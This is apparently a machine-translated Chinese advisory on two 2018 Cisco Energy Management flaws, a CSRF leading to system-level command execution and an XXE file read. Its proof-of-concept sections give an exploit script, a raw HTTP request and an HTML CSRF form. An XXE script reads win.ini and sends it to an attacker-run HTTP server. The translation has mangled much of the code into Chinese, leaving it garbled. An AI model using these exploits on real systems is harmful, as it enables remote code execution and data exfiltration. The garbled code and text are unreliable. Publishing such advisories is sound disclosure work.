站得住脚的发现了多个漏洞思科能源管理。
cve - 2018 - 15445:跨站点请求伪造
思科公司能源管理在很大程度上是容易跨站点请求伪造(CSRF)在整个应用程序和它的底层服务。种防伪标记不是用来确保HTTP请求源自其连接在应用程序或组件。
攻击者可能滥用这个远程代码执行漏洞获得与系统特权。为了成功地利用这一弱点,攻击者必须首先工艺恶意页面,然后说服经过身份验证的用户访问应用程序的URL(例如,单击一个链接)。
此外,受害者的用户必须有足够的特权。脚本和API访问是必需的。
具体地说,一个工作利用可以使用下面的方法。通过使用自定义脚本,可以构造一个脚本。首先,所有控制器id可以通过查询对象存储检索。控制器ID用于构造一个后续的API调用。接下来,一个Windows批处理文件(。bat)上传到“命令”文件夹中。这个文件可以包含任意执行系统命令。为了上传文件,从脚本中调用API使用“api_post”功能。批处理文件上传后,“runCommandEx”功能可用于执行批处理文件。
请注意,这个逻辑可以包含在一个HTTP POST请求。
概念验证
下面是一系列的概念证明(PoC)的代码。
一定要更新任何IP地址和/或身份验证令牌。当利用工作,文件名为“runme。蝙蝠”将在“创建C: \程序文件\思科能量管理控制器\服务\命令”,和“calc.exe将运行系统的特权。
自定义JavaScript:
/ /得到控制器设备id var = queryObjects (“objecttype = orgfolder”);var jemid[0] =设备(“jemid”);/ /注意,设备可以循环执行所有控制器(jemid) {var帧=“runme.bat”;var url = "控制器/”+ jemid +”还是?覆盖= true&folder = commands&name = " +帧;var batchFile = base64Encode(“系统信息”);var / /批处理文件内容反应= api_post (url, batchFile);如果(response.result) {var cmdResult = runCommandEx(帧);如果(cmdResult){日志(cmdResult[“标准输出”]);}}}
下面的HTTP请求显示了上面的代码“POST”杰姆。
POST /中心/数据/ jemwscall / executeScriptAsync HTTP / 1.1主持人:192.168.1.194 user - agent: Mozilla / 5.0(麦金塔电脑;Intel Mac OS X 10.13;房车:Firefox 61.0)壁虎/ 20100101 / 61.0接受:* / *接收语言:en - us, en; q = 0.5接受编码:gzip、缩小推荐人:https://192.168.1.194/ - type: application / json杂注:no - cache cache - control: no - cache内容长度:685饼干:用户= name =;PLAY_LANG = en;auth = 2 c63d52039194dde8571c745c7431322连接:{“脚本”:”/ /得到控制器\据nvar设备id = queryObjects (\“objecttype = orgfolder \”); \据nvar jemid =设备[0][\“jemid \]; \ n / /注意设备可以循环执行在所有控制器\ nif (jemid) {\ n var帧= \“runme.bat \”, \ n var url = \“控制器/ \”+ jemid + \”还是?覆盖= true&folder = commands&name = \ " +帧;\ n var batchFile = base64Encode (\“calc \”);/ /批处理文件内容\ n var = api_post反应(url, batchFile); \ n如果(response.result) {\ n var cmdResult = runCommandEx(帧);\ n如果(cmdResult) {\ n日志(cmdResult [\“stdout \]); \ n} \ n} \ n}”、“scriptLabel”:“不知名的脚本”、“异步”:真的,“选项”:“- s1源= JEMScriptDialog "}
这是一个HTML表单,可以用来发送利用。
< html > <身体> <形式method = " POST " enctype = " text / plain”行动= " https://192.168.1.194/central/data/jemwscall/executeScriptAsync " > <输入name = '{“脚本”:“var = queryObjects设备(\“objecttype = orgfolder \”); var jemid =设备[0][\“jemid \];如果(jemid) {var帧= \“runme.bat \”; var url = \“控制器/ \”+ jemid + \”还是?覆盖= true&folder = commands&name = \ " +帧;var batchFile = base64Encode (\“calc \”); var = api_post反应(url, batchFile);如果(response.result) {var cmdResult = runCommandEx(帧);如果(cmdResult){日志(cmdResult [\“stdout \]);}}}”,“scriptLabel”:“不知名的脚本”,“异步”:真的,“选项”:“- s1源= JEMScriptDialog”、“垃圾”:“价值=”}" / > < input type = " submit " / > < /形式> < /身体> < / html >
cve - 2018 - 15444:验证XML外部实体的脆弱性(XXE)
XML外部实体(XXE)脆弱性存在于思科能源管理的脚本功能。这个漏洞可以利用经过验证的攻击者。任何文件的内容可以从文件系统读取,随后接的。请注意,这个漏洞可以利用通过跨站点请求伪造(CSRF)。
为了成功地利用这个,恶意用户(攻击者)必须有足够的特权。脚本访问是必需的。
具体来说,脆弱性存在于“XmlDoc”的方式处理在转换为一个JSON使用toJson函数。攻击者可能会滥用通过制作一个XML文档,其中包含外部实体。这些实体可以参考文件的文件系统。
此外,使用内置网络脚本函数的内容文件可以读取和发送到远程,attacker-controlled系统。
概念验证
下面是一个概念证明(PoC)组成的一个自定义脚本。PoC将读取C:\WINDOWS\win.ini和发送内容,Base64编码,远程HTTP服务器。运行脚本在“运行脚本”对话框中为给定的资产/设备。
为了接收文件的内容,一定要举办自己的HTTP服务器和更新您的服务器的IP地址来匹配。请求路径必须Base64解码一旦收到。
包括(“xml.js”);var xml = ' < ?xml version = " 1.0 " ? > < !DOCTYPE foo [< !实体xxe系统”文件:c: / / / / windows / win.ini”>] > < foo > &xxe; < / foo > ';var doc XmlDoc = new (xml);var json = doc.toJson (json);var exfil = base64Encode (json (" foo "));var配置= {url:“http://192.168.0.4:8080”+ exfil超时:4};httpGet(配置);